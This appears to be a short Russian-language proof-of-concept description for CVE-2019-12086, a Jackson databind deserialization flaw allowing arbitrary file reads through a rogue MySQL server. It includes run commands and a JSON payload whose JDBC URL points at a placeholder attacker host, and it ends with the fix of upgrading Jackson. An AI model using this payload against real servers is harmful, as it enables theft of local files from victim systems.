
Эксплойт, доказывающий концепцию для CVE-2019-12086: уязвимость десериализации в Jackson databind, позволяющая произвольное чтение файлов через поддельный MySQL-сервер при включенном Default Typing.
Если включен Default Typing, и в classpath присутствует mysql-connector-java версии 8.0.15 (выпущен 2019.2.1) или ниже, злоумышленник может отправить вредоносные JSON-данные для чтения произвольных файлов. Библиотека mysql-connector-java — это популярный MySQL JDBC-драйвер, используемый для подключения к базам данных.
Описание CVE:
A Polymorphic Typing issue was discovered in FasterXML jackson-databind 2.x before 2.9.9. When Default Typing is enabled (either globally or for a specific property) for an externally exposed JSON endpoint, the service has the mysql-connector-java jar (8.0.14 or earlier) in the classpath, and an attacker can host a crafted MySQL server reachable by the victim, an attacker can send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs because of missing com.mysql.cj.jdbc.admin.MiniAdmin validation.
Детали уязвимости:
com.mysql.cj.jdbc.admin.MiniAdmin принимает строковое значение, которое представляет собой jdbcURL. При инициализации класс com.mysql.cj.jdbc.admin.MiniAdmin подключается к базе данных MySQL, указанной в этом jdbcURL.python rogue_mysql_server.py
tail -f mysql.log
["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]
# edit IP & Port at the payload "./volume/src/main/java/poc/Main.java".
$ docker build .
Обновите Jackson до версии 2.9.9 или выше.